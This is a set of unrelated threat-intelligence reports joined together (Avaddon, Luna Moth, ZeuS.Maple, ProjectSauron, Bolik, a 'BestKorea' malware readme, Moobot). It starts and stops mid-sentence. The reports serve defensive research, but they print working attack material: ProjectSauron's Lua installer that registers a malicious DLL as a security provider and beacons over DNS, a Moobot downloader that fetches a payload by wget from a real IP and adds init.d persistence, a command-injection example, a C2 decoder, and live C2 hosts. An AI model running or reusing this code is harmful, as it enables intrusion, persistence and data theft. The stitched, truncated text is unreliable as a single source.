frontlines of this de-escalation agenda. It is also noteworthy that some jurisdictions targeted by Avaddon—Iran, China, and Turkey—have strong geopolitical ties with Russia and act as Russian allies or critical economic partners. However, it is unclear if this could have led to any aggravation in the relationship between Avaddon and the Russian state. Whatever the true rationale of the Russian politicians calling for international cybersecurity cooperation, these recent statements have clearly impacted the underground cybercrime community. AdvIntel has tracked multiple discussions between top-tier actors working with Avaddon who mentioned that one of the group’s affiliates was apprehended by Russian law enforcement on the eve of the US-Russia summit and that further arrests may follow against ransomware leaders to secure the political landscape.
# Luna Moth: The Actors Behind the Recent False Subscription Scams Over the last few months, Sygnia’s Incident Response team has been methodically tracking the 'Luna Moth' ransom group. Their modus operandi resembles scammers, with the twist of corporate data theft, leveraging the threat of publication to demand millions of dollars in ransom. ## Key Points - The Sygnia Incident Response team identified a relatively new threat group, which has been operating since the end of March 2022. Sygnia refers to this threat actor as 'Luna Moth' or TG2729. - 'Luna Moth' focuses on data breach extortion attacks, threatening to leak stolen information if the demanded ransom is not paid. - The initial compromise is achieved by deceiving victims in a phishing campaign under the theme of Zoho MasterClass and Duolingo subscriptions, leading to the installation of an initial tool on the compromised host. - The group uses commercial remote administration tools (RATs) and publicly available tools to operate on compromised devices and maintain persistency, demonstrating once more the simplicity and effectiveness of ransom attacks. - The group acts and operates in an opportunistic way: even if there are no assets or devices to compromise in the network, they exfiltrate any data that is accessible; this emphasizes the importance of managing sensitive corporate information. With the rise in ransomware activity over the past years, the security industry has become used to hearing about double extortion, and even triple extortion attacks, and new crime groups of all kinds. In this blog post, we shed light on a relatively new threat actor which goes by the name of the ‘Silent Ransom Group’ (or ‘SRG’) and was dubbed 'Luna Moth' by Sygnia. By launching a phishing campaign with a wide coverage area, 'Luna Moth' infiltrates and compromises victim devices. These attacks can be categorized as data breach ransom attacks, in which the main focus of the group is to gain access to sensitive documents and information, and demand payment to withhold publication of the stolen data. Simple as they may be, these attacks can create serious issues for victims if sensitive data and information is stolen in this way. Although the group is not widely known, they have been active in the past months, attempting to build their reputation as a ransom gang. Their modus operandi resembles scammers, with the twist of corporate data theft, leveraging the threat of publication to demand millions of dollars in ransom. ## Gaining Initial Access Over the past three months, the ‘Luna Moth' group operated a large-scale phishing campaign under the theme of MasterClass and Duolingo subscriptions, by impersonating Zoho MasterClass Inc and Duolingo. Although claiming to be related to the Zoho Corporation or Duolingo, the phishing emails are sent from Gmail addresses that are altered to resemble the legitimate company email addresses: - {FIRST-NAME}.{LAST-NAME}[email protected] - {FIRST-NAME}.{LAST-NAME}[email protected] This is a classic phishing scam: the email claims that the recipient of the email purchased a subscription to a legitimate service, and that payment is due. To complete the scam, an invoice PDF file is attached to the email, and the victim is recommended to call a phone number, which the email states can be found within the attached file, if there are any issues with the subscription. If the victim wishes to refute the purchase, they are required to join a Zoho remote support session. At this point, the threat actor uses the native Zoho Assist functionality to send another email, entitled “Zoho Assist - Remote Support session,” which guides the user to download and install the Zoho Assist application. The group then invites the victim to the support session using Zoho Assist accounts that are tied to ProtonMail emails. During this short yet effective Zoho Assist session, the threat actor is able to trick the user into downloading and installing Atera on their device; this is a remote administration tool commonly used by threat actors. Once Atera is installed on the device, the threat actor can access the device and operate freely. ## Tools in the Arsenal The examples shown above demonstrate that both the activities and the toolset of 'Luna Moth' are fairly unsophisticated. The main tools used by the threat actor consist of remote administration tools (RATs) that allow them to control compromised devices; these include Atera, Splashtop, Syncro, and AnyDesk. These tools also provide the threat actors with some redundancy and persistence: if one of the RATs is removed from the system, it can be reinstalled by the others. Additional tools used by the group include off-the-shelf tools such as SoftPerfect Network Scanner, SharpShares, and Rclone. The tools are stored on compromised machines under false names masquerading as legitimate binaries. These tools, in addition to the RATs, provide the threat actors with the means to conduct basic reconnaissance activities, access additional available assets, and exfiltrate data from compromised networks. ## Campaign Infrastructure The infrastructure used by 'Luna Moth' as part of the subscription scams can be mapped to two main clusters of domains and IPs: - **Exfiltration domains:** Domains under the XYZ TLD, such as maaays[.]xyz. These domains are used by the group as part of the Rclone exfiltration process; the domains are the target to which the exfiltrated data is sent. - **Phishing domains** that appear to be related to Zoho or Duolingo – for example, masterzohoclass[.]com. Most of these domains have a very short lifespan of about four hours. The first identified domain related to the campaign was registered during April 2022. Both the exfiltration and phishing domains are hosted by the provider Hostwinds and registered under Namecheap. If you were impacted by this attack or are seeking guidance on how to prevent similar attacks, please contact us at [email protected] or our 24-hour hotline +1-877-686-8680. **Contributors:** Oren Biderman, Tomer Lahiyani, Noam Lifshitz.
# ZeuS.Maple Variant Targets Canadian Online Banking Customers Ever since the ZeuS cyber crime toolkit source code leaked in 2011, malware authors have used its cogent malware development tools for generating new custom versions of the Trojan; examples include the ICE-IX and Citadel variants. Trusteer security research team identified a series of attacks carried out by a new ZeuS variant since January 2014. Seeing that this variant mainly targets customers of Canadian banks, IBM Trusteer security research team has named it “ZeuS.Maple.” Trusteer researcher Avidan Avraham, who conducted a thorough analysis on the new variant, explains that ZeuS.Maple is a heavily modified version of ZeuS 2.0.8.9. It implements unique browser re-patching techniques (browser patching is a method of stealing information from browser sessions; re-patching ensures the patch stays in place), an alternative naming generation algorithm, different anti-debugging and new anti-VM capabilities. It uses an encrypted configuration stored in the Windows registry, and in order to remain stealthy, ZeuS.Maple distribution in the wild is limited and controlled. Avraham adds that the enhancements introduced in ZeuS.Maple are improvements of known ZeuS capabilities, but they don’t really add new functionality. This is why it is interesting that the malware author designated this variant as ZeuS version 3.3.6.0 (as seen in the configuration). ## Dissimulating the Executable in a New Installation Path Most of the ZeuS-based Trojans generate a randomly named executable file and place it in a newly created folder under a randomly generated name; this makes it difficult to detect the file in the file system. ZeuS.Maple takes a different approach for naming the newly generated file: First it enumerates the %APPDATA% directory and chooses an existing folder for its dropped executable location. It then generates a file name from the combination of the directory name and a hard-coded string (a few string options exist). The new executable file is then dropped in the selected directory. For example: If the selected directory is `c:\users\user\appdata\roaming\microsoft\` And the hard-coded string is: ‘win’ The result will be: `c:\users\user\appdata\roaming\microsoft\winmicrosoft.exe` This technique of dissimulating the malicious executable within existing system paths makes the file look legitimate and enables it to stay stealthy. An additional piece of code found in ZeuS.Maple generates an ordinary ZeuS file name using Windows’ GetTickCount (a Windows function used by ZeuS to generate a random file name); however, it doesn’t write it to disk. It could be a leftover action from ZeuS source code. ## Barriers for Malware Researchers: Anti-VM, Anti-Debugging Malware researchers will often try to run the malware in a synthetic environment and debug it to understand how it operates. ZeuS 2.0 variants are already designed with anti-debugging features that make the malware analysis more difficult. In most cases, the variants use well-known packers that can be easily identified with common tools. ZeuS.Maple uses a unique packer that is written in Visual Basic, which is notoriously complex to debug and makes the analysis more difficult. In addition, to prevent malware researchers from debugging the malware, ZeuS.Maple checks the value of two known Windows flags: PEB!IsDebuggedFlag and PEB!NtGlobalFlags. The code section that checks the flag value seems to be absent at first glance, but ZeuS.Maple unpacks this code section right before it uses it. In order to enable debug mode, we had to manipulate the flag value checks during runtime. After the call at `unk_710` is completed, the code is readable and executable. It is clear that this code section looks for flags inside the PEB and raises an exception if the process is being debugged. The new anti-VM capabilities that were added to this variant of ZeuS are not so impressive: The malware simply checks if VMware Tools is installed on the machine. To bypass this check, malware researchers can simply uninstall VMware Tools. ## Browser Patching and Web-Injection ZeuS.Maple uses browser patching to implement Web-injection functionality, which facilitates information stealing and financial fraud. Browser patching on its own isn’t new to ZeuS; however, ZeuS.Maple is the only variant that also re-patches the browser in order to protect its patches and ensure that they stay in place. ## The Encrypted Configuration Like other ZeuS variants, ZeuS.Maple’s configuration is stored in the Windows registry. However, unlike other variants, it uses the executable name, or a GUID format string, as the name for the registry key (instead of the regular generated name). The data is encrypted with AES-128 instead of RC4 which is commonly used with other ZeuS variants. After decrypting the malware configuration, we’ve noticed that the ZeuS version ID is 3.3.6.0, which indicates that this is a brand new variant of ZeuS. As for the targets, the main targets include 14 leading financial institutions located in Canada. In addition, it contains some “universal” attacks on URLs that consist of generic strings for e-commerce targets. In addition to the listed financial institutions, ZeuS.Maple targets general e-commerce transactions but looks for URLs that contain strings like: ‘order,’ ‘cart,’ ‘account activity’ and more. ## Command and Control Communication ZeuS.Maple uses nginx-based C&C. Each server has the .in DNS suffix, and the communication is directed to the /www/ folder. The ‘.in’ suffix should be an indicator of the location of the server (India); however, when looking up the server details, we see it is located in Russia. The domain is registered under a fake name and address. The latest active sample we analyzed communicated with C&C `b1estchooseweearesame2014.in/www/` – this resolved to the IP address `62.76.190.115` – The server IP address seems to be registered to a Russian Internet service provider. ## Conclusion The base code of ZeuS 2.0 remains a central source for malware authors as it continues to enable the evolution of the ZeuS malware family. The ZeuS.Maple variant provides an interesting example of new and improved methods used by malware developers to bypass automated security controls as well as human malware researchers. We expect this trend to continue as we find more sophisticated, stealthy variants of ZeuS targeting specific geographical regions.
# The ProjectSauron APT **Global Research and Analysis Team** **Version 1.02 (August 9, 2016)** ## Executive Summary In September 2015, Kaspersky Lab’s Anti-Targeted Attack Platform discovered anomalous network traffic in a government organization network. Analysis of this incident led to the discovery of a strange executable program library loaded into the memory of the domain controller server. The library was registered as a Windows password filter and had access to sensitive data such as administrative passwords in cleartext. Additional research revealed signs of activity of a previously unknown threat actor, responsible for large-scale attacks against key governmental entities. The name, ‘ProjectSauron’ reflects the fact that the code authors refer to ‘Sauron’ in the configuration files. The threat actor behind ProjectSauron commands a top-of-the-top modular cyber-espionage platform in terms of technical sophistication, designed to enable long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim. Usually, APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a few countries, focused on collecting high-value intelligence by compromising almost all key entities it could possibly reach within the target area. ### This paper in a nutshell - ProjectSauron is a modular platform designed to enable long-term cyber-espionage campaigns. - All modules and network protocols use strong encryption algorithms, such as RC6, RC5, RC4, AES, Salsa20, etc. - ProjectSauron uses a modified Lua scripting engine to implement the core platform and its plugins. There are more than 50 different plugin types. - ProjectSauron has high interest in communication encryption software widely used by targeted governmental organizations. It steals encryption keys, configuration files, and IP addresses of the key infrastructure servers related to the software. - ProjectSauron is able to exfiltrate data from air-gapped networks by using specially-prepared USB storage drives where data is stored in an area invisible to the operating system. - The platform makes extensive use of the DNS protocol for data exfiltration and real-time status reporting. - The APT has been operational since at least June 2011 and was still active in 2016. - The initial infection vector used to penetrate victim networks remains unknown. - The attackers utilize legitimate channels of software distribution for lateral movement within infected networks. ## Victims Using our telemetry, we found more than 30 infected organizations in Russia, Iran, and Rwanda, and there may be some in Italian-speaking countries. Many more organizations and geographies are likely to be affected. The organizations attacked are key entities that provide core state functions: - Government - Scientific research centers - Military - Telecommunication providers - Finance ## Technical Summary What follows is a summary of the most interesting and unique features of ProjectSauron: 1. ProjectSauron usually registers its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter. This feature is typically used by system administrators to enforce password policies and validate new passwords to match specific requirements, such as length and complexity. This way, the ProjectSauron passive backdoor module starts every time any domain, local user, or administrator logs in or changes a password, and promptly harvests the passwords in plaintext. 2. In cases where domain controllers lack direct Internet access, the attackers install additional implants on other intranet servers likely to have both Internet access and at the same time generate a lot of network traffic, such as proxy servers, web servers, or software update servers. After that, these intermediary servers are used by ProjectSauron as internal proxy nodes for silent and inconspicuous data exfiltration, blending in with high volumes of other legitimate traffic. 3. Once installed, the main ProjectSauron modules start working as ‘sleeper cells’, displaying no activity of their own and waiting for ‘wake-up’ commands in the incoming network traffic. This method of operation ensures ProjectSauron’s extended persistence on the servers of targeted organizations. 4. Most of ProjectSauron’s core implants are designed to work as backdoors, downloading new modules or running commands from the attacker purely in memory. The only way to capture these modules is by making a full memory dump of the infected systems. 5. Secondary ProjectSauron modules are designed to perform specific functions like stealing documents, recording keystrokes, and hijacking encryption keys from both infected computers and attached USB sticks. 6. Almost all of ProjectSauron’s core implants are unique, have different file names and sizes, and are individually built for each target. Each module’s timestamp, both in the file system and in its own headers, is tailored to the environment into which it is installed. 7. ProjectSauron implements a modular architecture using its own virtual file system to store additional modules (plugins) and a modified Lua interpreter to execute internal scripts. There are more than 50 different plugin types. 8. ProjectSauron works on all modern Microsoft Windows operating systems - both x64 and x86. We have witnessed infections running on Windows XP x86 as well as Windows 2012 R2 Server Edition x64. 9. ProjectSauron has extensive network communication abilities using full stacks of the most common network protocols: ICMP, UDP, TCP, DNS, SMTP, and HTTP. ## Malware Deployment In several cases, ProjectSauron modules were deployed through the modification of scripts used by system administrators to centrally deploy legitimate software updates within the network. The attackers injected a command to start the malware by modifying existing software deployment scripts. The injected malware is a tiny module (4-5 Kb) that works as a simple downloader. Once started on the target computers under a network administrator account, the downloader connects to the hard-coded internal or external IP address and downloads the ProjectSauron payload from there. In cases where the ProjectSauron VFS container is stored on disk in EXE file format, it disguises the files with legitimate software file names, for example: | Vendor that uses similar filenames | Disguised malware filename | |------------------------------------|----------------------------| | Kaspersky Lab | kavupdate.exe, kavupd.exe | | Symantec | SsaWrapper.exe, symnet32.dll | | Microsoft | KB2931368.exe | | Hewlett-Packard | hptcpprnt.dll | | VmWare | VMwareToolsUpgr32.exe | ## Jumping over the Air-Gap The ProjectSauron toolkit contains a special module designed to move data from air-gapped networks to Internet-connected systems. To achieve this, removable USB devices are used. Once networked systems are compromised, the attackers wait for a USB drive to be attached to the infected machine. These USBs are specially formatted to reduce the size of the partition on the USB disk, reserving an amount of hidden data (several hundred megabytes) at the end of the disk for malicious purposes. This reserved space is used to create a new custom-encrypted partition that won’t be recognized by a common OS, such as Windows. The partition has its own semi-filesystem (or virtual file system, VFS) with two core directories: ‘In’ and ‘Out’. This method also bypasses many DLP products, since software that disables the plugging of unknown USB devices based on DeviceID wouldn't prevent an attack or data leakage because a genuine recognized USB drive was used. When penetrating isolated systems, the sole creation of the encrypted storage area in the USB does not enable attackers to get control of the air-gapped machines. There has to be another component such as a zero-day exploit placed on the main partition of the USB drive. Unfortunately, we haven’t found any zero-day exploit embedded in the body of any of the malware we analyzed, and we believe it was probably deployed in rare, hard-to-catch instances. ## “VirtualEncryptedNetwork” ProjectSauron actively searches for information related to a rather uncommon, custom network encryption software. This client-server software is widely adopted by many of the target organizations to secure communications, voice, email, and document exchange. To avoid possible victim attribution implications based on the real name of the software, we refer to it as “VirtualEncryptedNetwork” (further abbreviated as VEN). In a number of cases we analyzed, ProjectSauron deployed malicious modules inside VEN's software directory, disguised under similar filenames, accessing the data placed beside its own executable. Decrypted Lua scripts show that the attackers have a high interest in installed VEN components, encryption keys, virtual network configuration files, and the location of servers that relay encrypted messages between the nodes. Also, one of the embedded ProjectSauron configurations contains a special unique identifier for the targeted server (targetid DWORD) within the VEN network. Interesting behavior was found in the component that searched for VEN’s server IP address. After getting the IP, the ProjectSauron component tries to communicate with the remote server using its own (ProjectSauron) protocol as if it was yet another C2 server. This suggests that some of VEN communication servers could also be infected. After collecting and exfiltrating VEN-related data, ProjectSauron components securely self-remove. ## Network Exfiltration ProjectSauron uses a number of ways to hide both data exfiltration and the way it receives new commands or modules. In addition to common ways to exfiltrate data via direct communication with C2s or its intermediate proxies using standard protocols, ProjectSauron utilizes a few uncommon techniques to exfiltrate data: - Tunneling over DNS - Email ### DNS One of the plugins we analyzed was internally named ‘DEXT’, which probably stands for DNS exfiltration tool. To avoid generic detection of DNS tunnels at the network level, the attackers used it in low-bandwidth mode, which is why it was used solely to exfiltrate target system metadata. The example above shows the following ProjectSauron steps written in a Lua script: 1. Collect common system information using a tool called sinfo 2. Encode the info into BASE64-format (basex) 3. Generate a set of DNS packets to a.bikessport.com domain with transferred payload chunks of 30 bytes per packet (dext) 4. Send generated DNS packets one by one using nslu tool The same approach is used by another script to exfiltrate network configuration information. Another interesting feature in ProjectSauron that leverages the DNS protocol is the real-time reporting of the operation progress to a remote server. Once an operational milestone is achieved, ProjectSauron issues a DNS-request to a special subdomain, which is unique to each target. ### Email While we have previously seen malware using email as a data exfiltration method, ProjectSauron APT uses this channel slightly differently. First, ProjectSauron generates a proper MIME email message that looks identical to an email generated by a common email client software. Moreover, it inserts mailer application information, "Thunderbird 2.0.0.9 (Windows/20071031)" in this case. Email body is a short text message with an unsuspicious subject and a ‘data.bin’ binary attachment encoded with Base64. The attachment may look like unknown benign data in unrecognized format but of course it contains stolen data in encrypted form. The email addresses, message subject, and email body are individually selected for each target and are never reused. Next, ProjectSauron connects directly to an external SMTP server by using a hard-coded IP (i.e. Google mail server) to send the email. In cases where direct connections to an external mail server are not allowed in the target network, ProjectSauron searches for an authorized local email server in the protected virtual network by parsing the configuration of VEN software and then uses it to send a copy of the email in case of direct connection failure. ## Lua The use of a Lua interpreter allowed the attackers to operate with flexibility by writing a simple Lua script for a target machine. The original Lua interpreter was modified by the attackers to support Unicode (UTF-16) string encoding. Below is an example of such a script used to install ProjectSauron modules onto the system: ```lua domain = "bikessport.com" dllName = "msprtssp.dll" install_zeta2 = function() windir = os.getenv("WINDIR") execStr = string.format("put2 zeta2dll \"%s\\SYSTEM32\\%s\"", windir, dllName) res = w.exec2str(execStr) if string.find(res, "kb/sec") == nil then w.printf("put2 failed\n%s\n", res) return false end execStr = string.format("nslu gc3220." .. domain) w.exec2str(execStr) regwrite = false regStr = w.exec2str("regedit -r \"HKLM\\System\\CurrentControlSet\\Control\\SecurityProviders\"| grep -i SecurityProviders") w.printf("regStr %s\n", regStr) for k,v in string.gmatch(regStr, "\"(%w+)\"=\"([%w,%. ]*)\"") do w.printf("k=%s, v= %s\n", k, v) if string.lower(k) == "securityproviders" then if string.len(v) > 0 then value = string.format("%s, %s", v, dllName) else value = string.format("%s", dllName) end if not string.find(v, dllName, 1, true) then stdIn = string.format("Windows Registry Editor Version 5.00\n\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders]\n\"SecurityProviders\"=\"%s\"", value) w.printf("\n\nstdIn\n%s\n", stdIn) out = w.exec2str("regedit -i", stdIn) w.printf("\n\nout\n%s\n", out) else w.printf("Found dllName\n") end regwrite = true end end if regwrite == true then execStr = string.format("ftime -c \"%s\\SYSTEM32\\ntdll.dll\" \"%s\\SYSTEM32\\%s\"", windir, windir, dllName) res = w.exec2str(execStr) w.printf("%s\n", res) execStr = string.format("nslu gc3221." .. domain) w.exec2str(execStr) end return regwrite end z2res = install_zeta2() if not z2res then w.printf("Installation failed\n") execStr = string.format("nslu xxc3222." .. domain) w.exec2str(execStr) else str = w.exec2str("plist -b | grep netsvcs") pid = string.match(str, "%w* (%d+) %w*") w.debugf("Pid %d\n", pid) w.exec2str(string.format("pkill %d", pid)) w.printf("Installation done\n") execStr = string.format("nslu ooc3222." .. domain) w.exec2str(execStr) end ``` ## VFS Structure The VFS can have both a linear and a two-level hierarchical view. In the case of a two-level hierarchical view, one of the levels contains the data responsible for process injection, data stealing, and storing it into the local ProjectSauron cache, and the second structure contains the data for exfiltration and external network communications. In the case of a linear view, all types of modules are located on a single level. Curiously, in many cases the same plugins are found in both the VFS upper and lower levels. Typically, a local cache of stolen files is located within the `C:\System Volume Information\_restore{ED650925-A32C-4E9C-8A73-8E6F0509309A}` folder, and keylogging results are stored in `%WINDIR%\Temp\` folder under the names ‘bka*.da’ or ‘~*.tmp’. The VFS has some pre-defined packages of plugins called ‘blobs’. The minimal set of plugins for process injection and stored data exfiltration is called `kblog.blob` and consists of the following modules: - detach - ilpsend - dir - skip In some cases, there exists an ‘extended’ package variant used that redirects the exfiltration data stream through its own local proxy-server and wipes sent documents upon completion. The extended variant contains the following modules: - kgate - knatt - wipe Interestingly, there is no automatic wiping of the documents sent to the server in the ‘minimal’ package. It’s assumed that this task should be carried out by a second Lua script (in the case of a hierarchical VFS – the parent or child). However, this assumption is not met in all cases. This means that in such cases the stolen documents are not removed and remain stored in the ProjectSauron cache forever, which suggests a design flaw. ## C2 Infrastructure The ProjectSauron actor is extremely well prepared when it comes to operational security. Running an expensive cyberespionage campaign like ProjectSauron requires vast domain and server infrastructure uniquely assigned to each victim organization and never again reused. This makes traditional network-based indicators of compromise useless because they are never reused in any other organization. We collected 28 domains linked to 11 IPs located in the United States and several European countries that might be connected to ProjectSauron campaigns. | IP | ISP | |--------------------------|------------------------------| | 104.131.61.33 | Digital Ocean, Inc., US | | 176.9.242.188 | Closco Ltd, Germany | | 185.78.64.121 | MM ONE Group Srl, Italy | | 192.195.77.59 | 1&1 Internet Inc., US | | 216.250.114.149 | 1&1 Internet Inc., US | | 217.160.176.157 | 1&1 Internet AG, Germany | | 37.252.125.88 | Tilaa, The Netherlands | | 54.209.129.218 | Amazon AWS, US | | 66.228.52.133 | Linode, US | | 81.4.108.168 | RamNode, The Netherlands | | 83.125.22.161 | AttractSoft GmbH, Germany | Even the diversity of ISPs selected for ProjectSauron operations makes it clear that the actor did everything possible to avoid creating patterns. Unfortunately, little is known about these servers. The list of ProjectSauron domains follows (domains in bold were extracted from malware, the rest were found via Passive DNS and are not validated): - ad-consult.cc - easterncredit.net - ping.sideways.ru - art-irisarns.com - flowershop22.110mb.com - rapidcomments.com - bikessport.com - gtf.cc - sba-messebau.at - chirotherapie.at - iut.hcmut.edu.vn - utc-wien.at - csrv01.rapidcomments.com - liebstoecklco.at - weingut-haider-malloth.at - dee.hcmut.edu.vn - lydia-leydolf.at - wildhorses.awardspace.info - der-wein.at - mail.mbit-web.com - windward-trading.biz - dievinothek.net - mbit-web.com - display24.at - mycruiseship.net - dr-rauch.com - myhomemusic.com ## Attribution Attribution is hard and reliable attribution is rarely possible in cyberspace. Even with confidence in various indicators and apparent attacker mistakes, there is a greater likelihood that these can all be smoke and mirrors created by an attacker with a greater vantage point and vast resources. When dealing with the most advanced threat actors, as is the case with ProjectSauron, attribution becomes an unsolvable problem. Rather than speculate on the perpetrators behind such a sophisticated attack, we instead highlight a few relevant observations made during analysis. ### Language Use All human-written text is in English. Core scenarios that orchestrated ProjectSauron modules were written in Lua, a computer language that traditionally doesn't support the UTF-16 character set for string operations. However, the target systems had some local paths in a non-Latin character set thus creating the requirement to extend Lua to support UTF-16, which the developers of ProjectSauron did. This suggests that originally the ProjectSauron developers worked and tested their code on systems with a Latin character set and only after deploying it in a real-world scenario found Lua’s features deficient. Instead of scraping their interpreter of choice, they decided to modify it to implement the missing features. One of the configuration files we extracted contained a list of file extensions and keywords that contain Italian words: ``` .*account.*|.*acct.*|.*domain.*|.*login.*|.*member.*|.*user.*|.*name|.*email|.*_id|id|uid|mn|mailaddress|.*nick.*|alias|codice|uin|sign-in|strCodUtente|.*pass.*|.*pw|pw.*|additional_info|.*secret.*|.*segreto.* ``` The Italian keywords and filenames targeted by ProjectSauron data theft modules can be translated as follows: | Italian keyword | Translation | |------------------|-------------| | Codice | code | | CodUtente | Usercode | | Segreto | Secret | Most ProjectSauron modules contain standard embedded usage output in proficient English, e.g.: ``` arping module -r Resolve hosts that answer. -l Print only replying Ips. -m Do not display MAC addresses. ``` However, there is no common style of outputting module usage and it varies from module to module. ## Conclusions Every APT attack we analyze brings with it some new knowledge about the nature of cyberespionage. The attackers are hackers first and foremost and, as proficient hackers, they invent novel ways to get into a network, do lateral movement, leave nearly no traces, all while exfiltrating valuable data. ProjectSauron is a very advanced actor, comparable only to the top-of-the-top in terms of sophistication: alongside Duqu, Flame, Equation, and Regin. Whether related or unrelated to these advanced actors, the ProjectSauron attackers have definitely learned from these others. As a reminder, here are some features of other APT attackers that ProjectSauron attackers had carefully learned from or emulated: - Use of intranet C2s (that compromised target servers may act as independent C2s) - Running only in memory (persistence on a few gateway hosts only) - Use of different encryption methods per victim - Use of named pipes for LAN communication - Malware distribution through legitimate software deployment channels ProjectSauron did its best to address potential vulnerabilities and has implemented a unique pattern for each and every target they attacked, so that the same indicators would have little value for anyone else. This is a summary of the ProjectSauron strategy as we see it. The attackers clearly understand that we as researchers are always looking for patterns. Remove the patterns and the operation will be harder to discover. We are aware of more than 30 organizations attacked but we are sure that this is just a tiny tip of the iceberg. A common organization hit by a serious actor such as ProjectSauron can hardly cope with proper detection and mitigation of such a threat on its own. As attackers become seasoned and more mature, the defending side will have to build an identical mindset: developing the highest technical skills comparable to those of the attackers in order to resist their onslaught.
# Banking Trojan Bolik Spreads Disguised as the NordVPN App Researchers at Doctor Web’s virus lab discovered a dangerous banking trojan, Win32.Bolik.2, being spread by hackers via fake websites of popular software. One of these resources is copied from a well-known VPN service, while others are disguised as corporate office software sites. A copy of the NordVPN official website, which is a famous VPN service, was recently found by our researchers at nord-vpn[.]club. As with the original, it prompts users to download a program for using the VPN; but apart from the program itself, the fake authors distribute a dangerous banking trojan - Win32.Bolik.2. It has the same design, a similar domain name, and a valid SSL certificate. According to our data, the malware campaign that uses those fake websites is primarily targeted at English-speaking audiences and was launched on August 8, 2019. However, at the time this news was released, the malicious fake NordVPN website already had thousands of visits. On top of that, at the end of June this year, the same hacker group copied websites of office programs: invoicesoftware360[.]xyz (the original is invoicesoftware360[.]com) and clipoffice[.]xyz (the original is crystaloffice[.]com), where the Win32.Bolik.2 trojan was distributed together with Trojan.PWS.Stealer.26645 malware. The Win32.Bolik.2 trojan is an improved version of Win32.Bolik.1 and has qualities of a multicomponent polymorphic file virus. Using this malware, hackers can perform web injections, traffic intercepts, keylogging and steal information from different bank-client systems. Earlier this year, we reported another malware campaign from the same hacker group in which they distributed Win32.Bolik.2 through a hacked video editing software website. Both of these trojans are successfully detected and removed by Dr. Web products and pose no threat to our users. ## Indicators of Compromise #banker #banking_trojan #stealer
# BestKorea: a work in progress PoC malware I AM NOT RESPONSIBLE FOR ANYTHING YOU DO WITH THIS. Just don't be a dick and you'll be fine. Compile with Visual Studio and put your Telegram API key in the "telegram.cs" file.
# MooBot on the run using another 0 day targeting UNIX CCTV DVR **Hui Wang** **November 20, 2020** This report is jointly issued by CNCERT and Qihoo 360. ## Overview Moobot is a botnet we first reported in September 2019. It has been pretty active since its appearance and we reported before it has the ability to exploit 0-day vulnerabilities. In June, we were able to confirm that another 0-day had been used by Moobot targeting UNIX CCTV DVR/NVR devices. We notified the manufacturer and a patch has been issued. ## Timeline - **2020-06-09**: We saw the scans targeting the vulnerability. - **2020-06-24**: A Moobot sample spread by exploiting this vulnerability was captured by us. - **2020-08-24**: Manufacturers released patches. ## Vulnerability exploitation process Moobot scans port 8000 through Loader. After locating the right target device, Moobot samples will be dropped via the vulnerabilities. ## Vulnerability analysis **Vulnerability type**: Remote command injection vulnerability **Vulnerability details**: On the vulnerable devices, a GUI process runs and listens to port 8000. According to the device manual, we know that this port is the default listening port for DVR Watch, Search, and Setup functions. The port has the function of remotely updating the system time, which is actually implemented by the GUI process calling system commands `ntpdate`. This is where the problem is. When the GUI program executes the `ntpdate` command, the NTP server parameters are not checked, resulting in a command injection vulnerability. For example, the command `ntpdate -d -t 1 time.nist.gov & whoami` will lead to the execution of the `whoami` command. Part of the payload is as follows; we will not share more details or PoC here due to security concerns. ## Affected equipment analysis By scanning the 8000 ports of the entire network, we found about 6k online devices. Most of the equipment is in the United States. **Geographical distribution of affected equipment**: - 4529 United States - 789 Republic of Korea - 84 Canada - 73 Japan - 66 Netherlands - 56 Australia - 55 Germany - 31 United Kingdom - 23 Vietnam - 19 Malaysia - 15 Saudi Arabia - 15 Czech - 14 Switzerland - 11 China **Known affected devices**: - 51 PVT-N5UNIXDVR - 28 PVT-8MUNIXDVR - 28 NVST-ILUNIXDVR - 25 NVST-ILUNIXNVR - 22 Magic-U-8M5UNIXDVR - 14 NVST-IPUNIXNVR - 13 NVST-IPUNIXDVR - 9 Magic-T-8M5UNIXDVR - 9 HD-Analog3RDVR - 6 Magic-QXUNIXDVR - 2 Magic-U-8M5UNIXDVR - 1 PVT-8MUNIXDVR - 1 NVR3RGPardisNVR - 1 Magic-U-8M5UNIXBoca DVR - 1 MER-28N16ENEODVR - 1 MER-28N08ENEODVR ## Sample analysis **Verdict**: Downloader **MD5**: af3720d0141d246bd3ede434f7a14dcb It is a download script, the content is as follows: `s=o;cd /cmslite;wget http://205.185.116.68/boot -O-|gzip -d > ."$s";chmod +x ."$s";./."$s" balloon; echo -e "echo \"Starting logging\"\nklogd\nsyslogd -O /dvr/message -s 4000\n/cmslite/.o balloon;" > /etc/init.d/S11log` It can be seen that the main function of Downloader is to: - Download Moobot sample - Achieve persistence It is worth mentioning that the downloaded Moobot samples are compressed, which to some extent affects the security products' detection of samples at the network traffic level. **Verdict**: Moobot_leet **MD5**: fb96c74e0548bd41621ea0dd98e8b2bb It is a Moobot variant, based on the reuse of LeetHozer's encryption method, we call it Moobot_leet. Moobot_leet is very similar to Mirai at the host behavior level and has no real highlights, so in this blog we will just talk about its encryption method and communication protocol. We see the sample uses Tor Proxy, and a large number of proxy nodes are embedded, and Tor-C2 is encrypted. ### Encryption method Moobot_leet divides Tor-C2 into two parts: prefix (16 bytes) and suffix (7 bytes), which exist in different positions of the sample. LeetHozer's encryption method is being adopted, and the correct Tor-C2 can only be decrypted by combining the two parts. The decryption method is as follows: ```python xorkey="qE6MGAbI" def decode_str(ctxt): for i in range(0,len(xorkey)): plain="" size=len(ctxt) for idx in range(0, size): ch=ord(ctxt[idx]) ch ^=(ord(xorkey[i]) + idx ) plain += chr(ch) ctxt=plain return ctxt ``` Take prefix and suffix as examples, splicing to get ciphertext, decryption can get Tor-C2 as `ol6zbnlduigehodu.onion`. The strange thing is that from the code level, it can be seen that there should be 7 Tor-C2, but there are only 3 in the actual sample, which will cause the bot to access the non-legit Tor-C2. We guess it may be a method used to disrupt security researchers and to throw false negatives to the sandbox IOC automatic extraction system. ### Communication protocol An overview of Moobot_leet network traffic is as follows: 1. Establish a connection with the built-in proxy node of the sample, then establish a connection with Tor-C2, and finally use 